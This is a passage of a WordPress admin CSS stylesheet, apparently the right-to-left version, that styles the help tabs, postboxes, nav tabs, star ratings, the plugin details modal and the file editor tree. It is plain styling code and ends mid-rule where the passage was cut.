#contextual-help-wrap {
	padding: 0;
}

#contextual-help-columns {
	position: relative;
}

#contextual-help-back {
	position: absolute;
	top: 0;
	bottom: 0;
	right: 150px;
	left: 170px;
	border: 1px solid #c3c4c7;
	border-top: none;
	border-bottom: none;
	background: #f0f6fc;
}

#contextual-help-wrap.no-sidebar #contextual-help-back {
	left: 0;
	border-left-width: 0;
	border-bottom-left-radius: 2px;
}

.contextual-help-tabs {
	float: right;
	width: 150px;
	margin: 0;
}

.contextual-help-tabs ul {
	margin: 1em 0;
}

.contextual-help-tabs li {
	margin-bottom: 0;
	list-style-type: none;
	border-style: solid;
	border-width: 0 2px 0 0;
	border-color: transparent;
}

.contextual-help-tabs a {
	display: block;
	padding: 5px 12px 5px 5px;
	line-height: 1.4;
	text-decoration: none;
	border: 1px solid transparent;
	border-left: none;
	border-right: none;
}

.contextual-help-tabs a:hover {
	color: #2c3338;
}

.contextual-help-tabs .active {
	padding: 0;
	margin: 0 0 0 -1px;
	border-right: 2px solid #72aee6;
	background: #f0f6fc;
	box-shadow: 0 2px 0 rgba(0, 0, 0, 0.02), 0 1px 0 rgba(0, 0, 0, 0.02);
}

.contextual-help-tabs .active a {
	border-color: #c3c4c7;
	color: #2c3338;
}

.contextual-help-tabs-wrap {
	padding: 0 20px;
	overflow: auto;
}

.help-tab-content {
	display: none;
	margin: 0 0 12px 22px;
	line-height: 1.6;
}

.help-tab-content.active {
	display: block;
}

.help-tab-content ul li {
	list-style-type: disc;
	margin-right: 18px;
}

.contextual-help-sidebar {
	width: 150px;
	float: left;
	padding: 0 12px 0 8px;
	overflow: auto;
}

/*------------------------------------------------------------------------------
  8.0 - Layout Blocks
------------------------------------------------------------------------------*/

html.wp-toolbar {
	padding-top: 32px;
	box-sizing: border-box;
	-ms-overflow-style: scrollbar; /* See ticket #48545 */
}

.widefat th,
.widefat td {
	color: #50575e;
}

.widefat th,
.widefat thead td,
.widefat tfoot td {
	font-weight: 400;
}

.widefat thead tr th,
.widefat thead tr td,
.widefat tfoot tr th,
.widefat tfoot tr td {
	color: #2c3338;
}

.widefat td p {
	margin: 2px 0 0.8em;
}

.widefat p,
.widefat ol,
.widefat ul {
	color: #2c3338;
}

.widefat .column-comment p {
	margin: 0.6em 0;
}

.widefat .column-comment ul {
	list-style: initial;
	margin-right: 2em;
}

/* Screens with postboxes */
.postbox-container {
	float: right;
}

.postbox-container .meta-box-sortables {
	box-sizing: border-box;
}

#wpbody-content .metabox-holder {
	padding-top: 10px;
}

.metabox-holder .postbox-container .meta-box-sortables {
	/* The jQuery UI Sortables need some initial height to work properly. */
	min-height: 1px;
	position: relative;
}

#post-body-content {
	width: 100%;
	min-width: 463px;
	float: right;
}

#post-body.columns-2 #postbox-container-1 {
	float: left;
	margin-left: -300px;
	width: 280px;
}

#post-body.columns-2 #side-sortables {
	min-height: 250px;
}

/* one column on the dash */
@media only screen and (max-width: 799px) {
	#wpbody-content .metabox-holder .postbox-container .empty-container {
		outline: none;
		height: 0;
		min-height: 0;
	}
}

.js .widget .widget-top,
.js .postbox .hndle {
	cursor: move;
}

.js .widget .widget-top.is-non-sortable,
.js .postbox .hndle.is-non-sortable {
	cursor: auto;
}

/* Configurable dashboard widgets "Configure" edit-box link. */
.hndle a {
	font-size: 12px;
	font-weight: 400;
}

.postbox-header {
	display: flex;
	align-items: center;
	justify-content: space-between;
	border-bottom: 1px solid #c3c4c7;
}

.postbox-header .hndle {
	flex-grow: 1;
	/* Handle the alignment for the configurable dashboard widgets "Configure" edit-box link. */
	display: flex;
	justify-content: space-between;
	align-items: center;
}

.postbox-header .handle-actions {
	flex-shrink: 0;
}

/* Post box order and toggle buttons. */
.postbox .handle-order-higher,
.postbox .handle-order-lower,
.postbox .handlediv {
	width: 1.62rem;
	height: 1.62rem;
	margin: 0;
	padding: 0;
	border: 0;
	background: none;
	cursor: pointer;
}

.postbox .handle-order-higher,
.postbox .handle-order-lower {
	color: #787c82;
	width: 1.62rem;
}

/* Post box order buttons in the block editor meta boxes area. */
.edit-post-meta-boxes-area .postbox .handle-order-higher,
.edit-post-meta-boxes-area .postbox .handle-order-lower {
	width: 44px;
	height: 44px;
	color: #1d2327
}

.postbox .handle-order-higher[aria-disabled="true"],
.postbox .handle-order-lower[aria-disabled="true"] {
	cursor: default;
	color: #a7aaad;
}

.sortable-placeholder {
	border: 1px dashed #c3c4c7;
	margin-bottom: 20px;
}

.postbox,
.stuffbox {
	margin-bottom: 20px;
	padding: 0;
	line-height: 1;
}

.postbox.closed {
	border-bottom: 0;
}

/* user-select is not a part of the CSS standard - may change behavior in the future */
.postbox .hndle,
.stuffbox .hndle {
	-webkit-user-select: none;
	user-select: none;
}

.postbox .inside {
	padding: 0 12px 12px;
	line-height: 1.4;
	font-size: 13px;
}

.stuffbox .inside {
	padding: 0;
	line-height: 1.4;
	font-size: 13px;
	margin-top: 0;
}

.postbox .inside {
	margin: 11px 0;
	position: relative;
}

.postbox .inside > p:last-child,
.rss-widget ul li:last-child {
	margin-bottom: 1px !important;
}

.postbox.closed h3 {
	border: none;
	box-shadow: none;
}

.postbox table.form-table {
	margin-bottom: 0;
}

.postbox table.widefat {
	box-shadow: none;
}

.temp-border {
	border: 1px dotted #c3c4c7;
}

.columns-prefs label {
	padding: 0 0 0 10px;
}

/* @todo: what is this doing here */
#dashboard_right_now .versions .b,
#post-status-display,
#post-visibility-display,
#adminmenu .wp-submenu li.current,
#adminmenu .wp-submenu li.current a,
#adminmenu .wp-submenu li.current a:hover,
.media-item .percent,
.plugins .name,
#pass-strength-result.strong,
#pass-strength-result.short,
#ed_reply_toolbar #ed_reply_strong,
.item-controls .item-order a,
.feature-filter .feature-name,
#comment-status-display {
	font-weight: 600;
}

/*------------------------------------------------------------------------------
  21.0 - Admin Footer
------------------------------------------------------------------------------*/

#wpfooter {
	position: absolute;
	bottom: 0;
	right: 0;
	left: 0;
	padding: 10px 20px;
	color: #50575e;
}

#wpfooter p {
	font-size: 13px;
	margin: 0;
	line-height: 1.55;
}

#footer-thankyou {
	font-style: italic;
}

/*------------------------------------------------------------------------------
  25.0 - Tabbed Admin Screen Interface (Experimental)
------------------------------------------------------------------------------*/

.nav-tab {
	float: right;
	border: 1px solid #c3c4c7;
	border-bottom: none;
	margin-right: 0.5em; /* half the font size so set the font size properly */
	padding: 5px 10px;
	font-size: 14px;
	line-height: 1.71428571;
	font-weight: 600;
	background: #dcdcde;
	color: #50575e;
	text-decoration: none;
	white-space: nowrap;
}

h3 .nav-tab, /* Back-compat for pre-4.4 */
.nav-tab-small .nav-tab {
	padding: 5px 14px;
	font-size: 12px;
	line-height: 1.33;
}

.nav-tab:hover,
.nav-tab:focus {
	background-color: #fff;
	color: #3c434a;
}

.nav-tab-active,
.nav-tab:focus:active {
	box-shadow: none;
}

.nav-tab-active {
	margin-bottom: -1px;
	color: #3c434a;
}

.nav-tab-active,
.nav-tab-active:hover,
.nav-tab-active:focus,
.nav-tab-active:focus:active {
	border-bottom: 1px solid #f0f0f1;
	background: #f0f0f1;
	color: #000;
}

h1.nav-tab-wrapper, /* Back-compat for pre-4.4 */
.wrap h2.nav-tab-wrapper, /* higher specificity to override .wrap > h2:first-child */
.nav-tab-wrapper {
	border-bottom: 1px solid #c3c4c7;
	margin: 0;
	padding-top: 9px;
	padding-bottom: 0;
	line-height: inherit;
}

/* Back-compat for plugins. Deprecated. Use .wp-clearfix instead. */
.nav-tab-wrapper:not(.wp-clearfix):after {
	content: "";
	display: table;
	clear: both;
}

/*------------------------------------------------------------------------------
  26.0 - Misc
------------------------------------------------------------------------------*/

.spinner {
	background: url(../images/spinner.gif) no-repeat;
	background-size: 20px 20px;
	display: inline-block;
	visibility: hidden;
	float: left;
	vertical-align: middle;
	opacity: 0.7;
	filter: alpha(opacity=70);
	width: 20px;
	height: 20px;
	margin: 4px 10px 0;
}

.spinner.is-active,
.loading-content .spinner {
	visibility: visible;
}

#template > div {
	margin-left: 16em;
}
#template .notice {
	margin-top: 1em;
	margin-left: 3%;
}
#template .notice p {
	width: auto;
}
#template .submit .spinner {
	float: none;
}

.metabox-holder .stuffbox > h3, /* Back-compat for pre-4.4 */
.metabox-holder .postbox > h3, /* Back-compat for pre-4.4 */
.metabox-holder h3.hndle, /* Back-compat for pre-4.4 */
.metabox-holder h2.hndle {
	font-size: 14px;
	padding: 8px 12px;
	margin: 0;
	line-height: 1.4;
}

/* Back-compat for nav-menus screen */
.nav-menus-php .metabox-holder h3 {
	padding: 10px 14px 11px 10px;
	line-height: 1.5;
}

#templateside ul li a {
	text-decoration: none;
}

.plugin-install #description,
.plugin-install-network #description {
	width: 60%;
}

table .vers,
table .column-visible,
table .column-rating {
	text-align: right;
}

.attention,
.error-message {
	color: #d63638;
	font-weight: 600;
}

/* Scrollbar fix for bulk upgrade iframe */
body.iframe {
	height: 98%;
}

/* Upgrader styles, Specific to Language Packs */
.lp-show-latest p {
	display: none;
}
.lp-show-latest p:last-child,
.lp-show-latest .lp-error p {
	display: block;
}

/* - Only used once or twice in all of WP - deprecate for global style
------------------------------------------------------------------------------*/
.media-icon {
	width: 62px; /* icon + border */
	text-align: center;
}

.media-icon img {
	border: 1px solid #dcdcde;
	border: 1px solid rgba(0, 0, 0, 0.07);
}

#howto {
	font-size: 11px;
	margin: 0 5px;
	display: block;
}

.importers {
	font-size: 16px;
	width: auto;
}

.importers td {
	padding-left: 14px;
	line-height: 1.4;
}

.importers .import-system {
	max-width: 250px;
}

.importers td.desc {
	max-width: 500px;
}

.importer-title,
.importer-desc,
.importer-action {
	display: block;
}

.importer-title {
	color: #000;
	font-size: 14px;
	font-weight: 400;
	margin-bottom: .2em;
}

.importer-action {
	line-height: 1.55; /* Same as with .updating-message */
	color: #50575e;
	margin-bottom: 1em;
}

#post-body #post-body-content #namediv h3, /* Back-compat for pre-4.4 */
#post-body #post-body-content #namediv h2 {
	margin-top: 0;
}

.edit-comment-author {
	color: #1d2327;
	border-bottom: 1px solid #f0f0f1;
}

#namediv h3 label, /* Back-compat for pre-4.4 */
#namediv h2 label {
	vertical-align: baseline;
}

#namediv table {
	width: 100%;
}

#namediv td.first {
	width: 10px;
	white-space: nowrap;
}

#namediv input {
	width: 100%;
}

#namediv p {
	margin: 10px 0;
}

/* - Used - but could/should be deprecated with a CSS reset
------------------------------------------------------------------------------*/
.zerosize {
	height: 0;
	width: 0;
	margin: 0;
	border: 0;
	padding: 0;
	overflow: hidden;
	position: absolute;
}

br.clear {
	height: 2px;
	line-height: 0.15;
}

.checkbox {
	border: none;
	margin: 0;
	padding: 0;
}

fieldset {
	border: 0;
	padding: 0;
	margin: 0;
}

.post-categories {
	display: inline;
	margin: 0;
	padding: 0;
}

.post-categories li {
	display: inline;
}

/* Star Ratings - Back-compat for pre-3.8 */
div.star-holder {
	position: relative;
	height: 17px;
	width: 100px;
	background: url(../images/stars.png?ver=20121108) repeat-x bottom right;
}

div.star-holder .star-rating {
	background: url(../images/stars.png?ver=20121108) repeat-x top right;
	height: 17px;
	float: right;
}

/* Star Ratings */
.star-rating {
	white-space: nowrap;
}
.star-rating .star {
	display: inline-block;
	width: 20px;
	height: 20px;
	-webkit-font-smoothing: antialiased;
	font-size: 20px;
	line-height: 1;
	font-family: dashicons;
	text-decoration: inherit;
	font-weight: 400;
	font-style: normal;
	vertical-align: top;
	transition: color .1s ease-in;
	text-align: center;
	color: #dba617;
}

.star-rating .star-full:before {
	content: "\f155";
}

.star-rating .star-half:before {
	content: "\f459";
}

.rtl .star-rating .star-half {
	transform: rotateY(-180deg);
}

.star-rating .star-empty:before {
	content: "\f154";
}

div.action-links {
	font-weight: 400;
	margin: 6px 0 0;
}

/* Plugin install thickbox */
#plugin-information {
	background: #fff;
	position: fixed;
	top: 0;
	left: 0;
	bottom: 0;
	right: 0;
	height: 100%;
	padding: 0;
}

#plugin-information-scrollable {
	overflow: auto;
	-webkit-overflow-scrolling: touch;
	height: 100%;
}

#plugin-information-title {
	padding: 0 26px;
	background: #f6f7f7;
	font-size: 22px;
	font-weight: 600;
	line-height: 2.4;
	position: relative;
	height: 56px;
}

#plugin-information-title.with-banner {
	margin-left: 0;
	height: 250px;
	background-size: cover;
}

#plugin-information-title h2 {
	font-size: 1em;
	font-weight: 600;
	padding: 0;
	margin: 0;
	overflow: hidden;
	text-overflow: ellipsis;
	white-space: nowrap;
}

#plugin-information-title.with-banner h2 {
	position: relative;
	font-family: "Helvetica Neue", sans-serif;
	display: inline-block;
	font-size: 30px;
	line-height: 1.68;
	box-sizing: border-box;
	max-width: 100%;
	padding: 0 15px;
	margin-top: 174px;
	color: #fff;
	background: rgba(29, 35, 39, 0.9);
	text-shadow: 0 1px 3px rgba(0, 0, 0, 0.4);
	box-shadow: 0 0 30px rgba(255, 255, 255, 0.1);
	border-radius: 8px;
}

#plugin-information-title div.vignette {
	display: none;
}

#plugin-information-title.with-banner div.vignette {
	position: absolute;
	display: block;
	top: 0;
	right: 0;
	height: 250px;
	width: 100%;
	background: transparent;
	box-shadow: inset 0 0 50px 4px rgba(0, 0, 0, 0.2), inset 0 -1px 0 rgba(0, 0, 0, 0.1);
}

#plugin-information-tabs {
	padding: 0 16px;
	position: relative;
	left: 0;
	right: 0;
	min-height: 36px;
	font-size: 0;
	z-index: 1;
	border-bottom: 1px solid #dcdcde;
	background: #f6f7f7;
}

#plugin-information-tabs a {
	position: relative;
	display: inline-block;
	padding: 9px 10px;
	margin: 0;
	height: 18px;
	line-height: 1.3;
	font-size: 14px;
	text-decoration: none;
	transition: none;
}

#plugin-information-tabs a.current {
	margin: 0 -1px -1px;
	background: #fff;
	border: 1px solid #dcdcde;
	border-bottom-color: #fff;
	padding-top: 8px;
	color: #2c3338;
}

#plugin-information-tabs.with-banner a.current {
	border-top: none;
	padding-top: 9px;
}

#plugin-information-tabs a:active,
#plugin-information-tabs a:focus {
	outline: none;
}

#plugin-information-content {
	overflow: hidden; /* equal height column trick */
	background: #fff;
	position: relative;
	top: 0;
	left: 0;
	right: 0;
	min-height: 100%;
	/* Height of title + tabs + install now */
	min-height: calc( 100% - 152px );
}

#plugin-information-content.with-banner {
	/* Height of banner + tabs + install now */
	min-height: calc( 100% - 346px );
}

#section-holder {
	position: relative;
	top: 0;
	left: 250px;
	bottom: 0;
	right: 0;
	margin-top: 10px;
	margin-left: 250px; /* FYI box */
	padding: 10px 26px 99999px; /* equal height column trick */
	margin-bottom: -99932px; /* 67px less than the padding below to accommodate footer height */
}

#section-holder .notice {
	margin: 5px 0 15px;
}

#section-holder .updated {
	margin: 16px 0;
}

#plugin-information .fyi {
	float: left;
	position: relative;
	top: 0;
	left: 0;
	padding: 16px 16px 99999px; /* equal height column trick */
	margin-bottom: -99932px; /* 67px less than the padding below to accommodate footer height */
	width: 217px;
	border-right: 1px solid #dcdcde;
	background: #f6f7f7;
	color: #646970;
}

#plugin-information .fyi strong {
	color: #3c434a;
}

#plugin-information .fyi h3 {
	font-weight: 600;
	text-transform: uppercase;
	font-size: 12px;
	color: #646970;
	margin: 24px 0 8px;
}

#plugin-information .fyi h2 {
	font-size: 0.9em;
	margin-bottom: 0;
	margin-left: 0;
}

#plugin-information .fyi ul {
	padding: 0;
	margin: 0;
	list-style: none;
}

#plugin-information .fyi li {
	margin: 0 0 10px;
}

#plugin-information .fyi-description {
	margin-top: 0;
}

#plugin-information .counter-container {
	margin: 3px 0;
}

#plugin-information .counter-label {
	float: right;
	margin-left: 5px;
	min-width: 55px;
}

#plugin-information .counter-back {
	height: 17px;
	width: 92px;
	background-color: #dcdcde;
	float: right;
}

#plugin-information .counter-bar {
	height: 17px;
	background-color: #f0c33c; /* slightly lighter than stars due to larger expanse */
	float: right;
}

#plugin-information .counter-count {
	margin-right: 5px;
}

#plugin-information .fyi ul.contributors {
	margin-top: 10px;
}

#plugin-information .fyi ul.contributors li {
	display: inline-block;
	margin-left: 8px;
	vertical-align: middle;
}

#plugin-information .fyi ul.contributors li {
	display: inline-block;
	margin-left: 8px;
	vertical-align: middle;
}

#plugin-information .fyi ul.contributors li img {
	vertical-align: middle;
	margin-left: 4px;
}

#plugin-information-footer {
	padding: 13px 16px;
	position: absolute;
	left: 0;
	bottom: 0;
	right: 0;
	height: 40px; /* actual height: 40+13+13+1=67 */
	border-top: 1px solid #dcdcde;
	background: #f6f7f7;
}

/* rtl:ignore */
#plugin-information .section {
	direction: ltr;
}

/* rtl:ignore */
#plugin-information .section ul,
#plugin-information .section ol {
	list-style-type: disc;
	margin-left: 24px;
}

#plugin-information .section,
#plugin-information .section p {
	font-size: 14px;
	line-height: 1.7;
}

#plugin-information #section-screenshots ol {
	list-style: none;
	margin: 0;
}

#plugin-information #section-screenshots li img {
	vertical-align: text-top;
	margin-top: 16px;
	max-width: 100%;
	width: auto;
	height: auto;
	box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3);
}

/* rtl:ignore */
#plugin-information #section-screenshots li p {
	font-style: italic;
	padding-left: 20px;
}

#plugin-information pre {
	padding: 7px;
	overflow: auto;
	border: 1px solid #c3c4c7;
}

#plugin-information blockquote {
	border-right: 2px solid #dcdcde;
	color: #646970;
	font-style: italic;
	margin: 1em 0;
	padding: 0 1em 0 0;
}

/* rtl:ignore */
#plugin-information .review {
	overflow: hidden; /* clearfix */
	width: 100%;
	margin-bottom: 20px;
	border-bottom: 1px solid #dcdcde;
}

#plugin-information .review-title-section {
	overflow: hidden; /* clearfix */
}

/* rtl:ignore */
#plugin-information .review-title-section h4 {
	display: inline-block;
	float: left;
	margin: 0 6px 0 0;
}

#plugin-information .reviewer-info p {
	clear: both;
	margin: 0;
	padding-top: 2px;
}

/* rtl:ignore */
#plugin-information .reviewer-info .avatar {
	float: left;
	margin: 4px 6px 0 0;
}

/* rtl:ignore */
#plugin-information .reviewer-info .star-rating {
	float: left;
}

/* rtl:ignore */
#plugin-information .review-meta {
	float: left;
	margin-left: 0.75em;
}

/* rtl:ignore */
#plugin-information .review-body {
	float: left;
	width: 100%;
}

.plugin-version-author-uri {
	font-size: 13px;
}

/* For non-js plugin installation screen ticket #36430. */
.update-php .button.button-primary {
	margin-left: 1em;
}

@media screen and (max-width: 771px) {
	#plugin-information-title.with-banner {
		height: 100px;
	}

	#plugin-information-title.with-banner h2 {
		margin-top: 30px;
		font-size: 20px;
		line-height: 2;
		max-width: 85%;
	}

	#plugin-information-title.with-banner div.vignette {
		height: 100px;
	}

	#plugin-information-tabs {
		overflow: hidden; /* clearfix */
		padding: 0;
		height: auto; /* let tabs wrap */
	}

	#plugin-information-tabs a.current {
		margin-bottom: 0;
		border-bottom: none;
	}

	#plugin-information .fyi {
		float: none;
		border: 1px solid #dcdcde;
		position: static;
		width: auto;
		margin: 26px 26px 0;
		padding-bottom: 0; /* reset from the two column height fix */
	}

	#section-holder {
		position: static;
		margin: 0;
		padding-bottom: 70px; /* reset from the two column height fix, plus accommodate footer */
	}

	#plugin-information .fyi h3,
	#plugin-information .fyi small {
		display: none;
	}

	#plugin-information-footer {
		padding: 12px 16px 0;
		height: 46px;
	}
}

/* Thickbox for the Plugin details modal. */
#TB_window.plugin-details-modal {
	background: #fff;
}

#TB_window.plugin-details-modal.thickbox-loading:before {
	content: "";
	display: block;
	width: 20px;
	height: 20px;
	position: absolute;
	right: 50%;
	top: 50%;
	z-index: -1;
	margin: -10px -10px 0 0;
	background: #fff url(../images/spinner.gif) no-repeat center;
	background-size: 20px 20px;
	transform: translateZ(0);
}

@media print,
	(min-resolution: 120dpi) {

	#TB_window.plugin-details-modal.thickbox-loading:before {
		background-image: url(../images/spinner-2x.gif);
	}
}

.plugin-details-modal #TB_title {
	float: right;
	height: 1px;
}

.plugin-details-modal #TB_ajaxWindowTitle {
	display: none;
}

.plugin-details-modal #TB_closeWindowButton {
	right: auto;
	left: -30px;
	color: #f0f0f1;
}

.plugin-details-modal #TB_closeWindowButton:hover,
.plugin-details-modal #TB_closeWindowButton:focus {
	outline: none;
	box-shadow: none;
}

.plugin-details-modal #TB_closeWindowButton:hover::after,
.plugin-details-modal #TB_closeWindowButton:focus::after {
	outline: 2px solid;
	outline-offset: -4px;
	border-radius: 4px;
}

.plugin-details-modal .tb-close-icon {
	display: none;
}

.plugin-details-modal #TB_closeWindowButton:after {
	content: "\f335";
	font: normal 32px/29px 'dashicons';
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

/* move plugin install close icon to top on narrow screens */
@media screen and (max-width: 830px) {
	.plugin-details-modal #TB_closeWindowButton {
		left: 0;
		top: -30px;
	}
}

/* @todo: move this. */
img {
	border: none;
}

/* Metabox collapse arrow indicators */
.sidebar-name .toggle-indicator::before,
.meta-box-sortables .postbox .toggle-indicator::before,
.meta-box-sortables .postbox .order-higher-indicator::before,
.meta-box-sortables .postbox .order-lower-indicator::before,
.bulk-action-notice .toggle-indicator::before,
.privacy-text-box .toggle-indicator::before {
	content: "\f142";
	display: inline-block;
	font: normal 20px/1 dashicons;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none;
}

.js .widgets-holder-wrap.closed .toggle-indicator::before,
.meta-box-sortables .postbox.closed .handlediv .toggle-indicator::before,
.bulk-action-notice .bulk-action-errors-collapsed .toggle-indicator::before,
.privacy-text-box.closed .toggle-indicator::before {
	content: "\f140";
}

.postbox .handle-order-higher .order-higher-indicator::before {
	content: "\f343";
	color: inherit;
}

.postbox .handle-order-lower .order-lower-indicator::before {
	content: "\f347";
	color: inherit;
}

.postbox .handle-order-higher .order-higher-indicator::before,
.postbox .handle-order-lower .order-lower-indicator::before {
	position: relative;
    top: 0.11rem;
	width: 20px;
	height: 20px;
}

.postbox .handlediv .toggle-indicator::before {
	width: 20px;
	border-radius: 50%;
}

.postbox .handlediv .toggle-indicator::before {
	position: relative;
	top: 0.05rem;
	text-indent: -1px; /* account for the dashicon glyph uneven horizontal alignment */
}

.rtl .postbox .handlediv .toggle-indicator::before {
	text-indent: 1px; /* account for the dashicon glyph uneven horizontal alignment */
}

.bulk-action-notice .toggle-indicator::before {
	line-height: 16px;
	vertical-align: top;
	color: #787c82;
}

.postbox .handle-order-higher:focus,
.postbox .handle-order-lower:focus,
.postbox .handlediv:focus {
	box-shadow: inset 0 0 0 2px #2271b1;
	border-radius: 50%;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.postbox .handle-order-higher:focus .order-higher-indicator::before,
.postbox .handle-order-lower:focus .order-lower-indicator::before,
.postbox .handlediv:focus .toggle-indicator::before {
	box-shadow: none;
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
}

/* @todo: appears to be Press This only and overridden */
#photo-add-url-div input[type="text"] {
	width: 300px;
}

/* Theme/Plugin file editor */
.alignleft h2 {
	margin: 0;
}

#template textarea {
	font-family: Consolas, Monaco, monospace;
	font-size: 13px;
	background: #f6f7f7;
	tab-size: 4;
}

#template textarea,
#template .CodeMirror {
	width: 100%;
	min-height: 60vh;
	height: calc( 100vh - 295px );
	border: 1px solid #dcdcde;
	box-sizing: border-box;
}

#templateside > h2 {
	padding-top: 6px;
	padding-bottom: 7px;
	margin: 0;
}

#templateside ol,
#templateside ul {
	margin: 0;
	padding: 0;
}
#templateside > ul {
	box-sizing: border-box;
	margin-top: 0;
	overflow: auto;
	padding: 0;
	min-height: 60vh;
	height: calc(100vh - 295px);
	background-color: #f6f7f7;
	border: 1px solid #dcdcde;
	border-right: none;
}
#templateside ul ul {
	padding-right: 12px;
}
#templateside > ul > li > ul[role=group] {
	padding-right: 0;
}

/*
 * Styles for Theme and Plugin file editors.
 */

/* Hide collapsed items. */
[role="treeitem"][aria-expanded="false"] > ul {
	display: none;
}

/* Use arrow dashicons for folder states, but hide from screen readers. */
[role="treeitem"] span[aria-hidden] {
	display: inline;
	font-family: dashicons;
	font-size: 20px;
	position: absolute;
	pointer-events: none;
}
[role="treeitem"][aria-expanded="false"] > .folder-label .icon:after {
	content: "\f141";
}
[role="treeitem"][aria-expanded="true"] > .folder-label .icon:after {
	content: "\f140";
}
[role="treeitem"] .folder-label {
	display: block;
	padding: 3px 12px 3px 3px;
	cursor: pointer;
}

/* Remove outline, and create our own focus and hover styles */
[role="treeitem"] {
	outline: 0;
}

[role="treeitem"] a:focus,
[role="treeitem"] .folder-label.focus {
	color: #043959;
	/* Reset default focus style. */
	box-shadow: none;
	/* Use an inset outline instead, so it's visible also over the current file item. */
	outline: 2px solid #2271b1;
	outline-offset: -2px;
}

[role="treeitem"].hover,
[role="treeitem"] .folder-label.hover {
	background-color: #f0f0f1;
}

.tree-folder {
	margin: 0;
	position: relative;
}
[role="treeitem"] li {
	position: relative;
}

/* Styles for folder indicators/depth */
.tree-folder .tree-folder::after {
	content: "";
	display: block;
	position: absolute;
	right: 2px;
	border-right: 1px solid #c3c4c7;
	top: -13px;
	bottom: 10px;
}
.tree-folder > li::before {
	content: "";
	position: absolute;
	display: block;
	border-right: 1px solid #c3c4c7;
	right: 2px;
	top: -5px;
	height: 18px;
	width: 7px;
	border-bottom: 1px solid #c3c4c7;
}
.tree-folder > li::after {
	content: "";
	position: absolute;
	display: block;
	border-right: 1px solid #c3c4c7;
	right: 2px;
	bottom: -7px;
	top: 0;
}

/* current-file needs to adjustment for .notice styles */
#templateside .current-file {
	margin: -4px 0 -2px;
}
.tree-folder > .current-file::before {
	right: 4px;
	height: 15px;
	width: 0;
	border-right: none;
	top: 3px;
}
.tree-folder > .current-file::after {
	bottom: -4px;
	height: 7px;
	right: 2px;
	top: auto;
}

/* Lines shouldn't continue on last item */
.tree-folder > li:last-child::after,
.tree-folder li:last-child > .tree-folder::after {
	display: none;
}

#theme-plugin-editor-selector,
#theme-plugin-editor-label,
#documentation label {
	font-weight: 600;
}

#theme-plugin-editor-label {
	display: inline-block;
	margin-bottom: 1em;
}

/* rtl:ignore */
#template textarea,
#docs-list {
	direction: ltr;
}

.fileedit-sub #theme,
.fileedit-sub #plugin {
	max-width: 40%;
}
.fileedit-sub .alignright {
	text-align: left;
}

#template p {
	width: 97%;
}

#file-editor-linting-error {
	margin-top: 1em;
	margin-bottom: 1em;
}
#file-editor-linting-error > .notice {
	margin: 0;
	display: inline-block;
}
#file-editor-linting-error > .notice > p {
	width: auto;
}
#template .submit {
	margin-top: 1em;
	padding: 0;
}

#template .submit input[type=submit][disabled] {
	cursor: not-allowed;
}
#templateside {
	float: left;
	width: 16em;
	word-wrap: break-word;
}

#postcustomstuff p.submit {
	margin: 0;
}

#templateside h4 {
	margin: 1em 0 0;
}

#templateside li {
	margin: 4px 0;
}

#templateside li:not(.howto) a,
.theme-editor-php .highlight {
	display: block;
	padding: 3px 12px 3px 0;
	text-decoration: none;
}

#templateside li.current-file > a {
	padding-bottom: 0;
}

#templateside li:not(.howto) > a:first-of-type {
	padding-top: 0;
}

#templateside li.howto {
	padding: 6px 12px 12px;
}

.theme-editor-php .highlight {
	margin: -3px -12px -3px 3px;
}

#templateside .highlight {
	border: none;
	font-weight: 600;
}

.nonessential {
	color: #646970;
	font-size: 11px;
	font-style: italic;
	padding-right: 12px;
}

#documentation {
	margin-top: 10px;
}

#documentation label {
	line-height: 1.8;
	vertical-align: baseline;
}

.fileedit-sub {
	padding: 10px 0 8px;
	line-height: 180%;
}

#file-editor-warning .file-editor-warning-content {
	margin: 25px;
}

/* @todo: can we use a common class for these? */
.nav-menus-php .item-edit:before,
.widget-top .widget-action .toggle-indicator:before,
.control-section .accordion-section-title:after,
.accordion-section-title:after {
	content: "\f140";
	font: normal 20px/1 dashicons;
	speak: never;
	display: block;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none;
}

.widget-top .widget-action .toggle-indicator:before {
	padding: 1px 0 1px 2px;
	border-radius: 50%;
}

.handlediv,
.postbox .handlediv.button-link,
.item-edit,
.toggle-indicator,
.accordion-section-title:after {
	color: #787c82;
}

.widget-action {
	color: #50575e; /* #fafafa background in the Widgets screen */
}

.widget-top:hover .widget-action,
.widget-action:focus,
.handlediv:hover,
.handlediv:focus,
.postbox .handlediv.button-link:hover,
.postbox .handlediv.button-link:focus,
.item-edit:hover,
.item-edit:focus,
.sidebar-name:hover .toggle-indicator,
.accordion-section-title:hover:after {
	color: #1d2327;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.widget-top .widget-action:focus .toggle-indicator:before {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.control-section .accordion-section-title:after,
.accordion-section-title:after {
	float: left;
	left: 20px;
	top: -2px;
}

.control-section.open .accordion-section-title:after,
#customize-info.open .accordion-section-title:after,
.nav-menus-php .menu-item-edit-active .item-edit:before,
.widget.open .widget-top .widget-action .toggle-indicator:before,
.widget.widget-in-question .widget-top .widget-action .toggle-indicator:before {
	content: "\f142";
}

/*!
 * jQuery UI Draggable/Sortable 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
.ui-draggable-handle,
.ui-sortable-handle {
	touch-action: none;
}

/* Accordion */
.accordion-section {
	border-bottom: 1px solid #dcdcde;
	margin: 0;
}

.accordion-section.open .accordion-section-content,
.no-js .accordion-section .accordion-section-content {
	display: block;
}

.accordion-section.open:hover {
	border-bottom-color: #dcdcde;
}

.accordion-section-content {
	display: none;
	padding: 10px 20px 15px;
	overflow: hidden;
	background: #fff;
}

.accordion-section-title {
	margin: 0;
	padding: 12px 15px 15px;
	position: relative;
	border-right: 1px solid #dcdcde;
	border-left: 1px solid #dcdcde;
	-webkit-user-select: none;
	user-select: none;
}

.js .accordion-section-title {
	cursor: pointer;
}

.js .accordion-section-title:after {
	position: absolute;
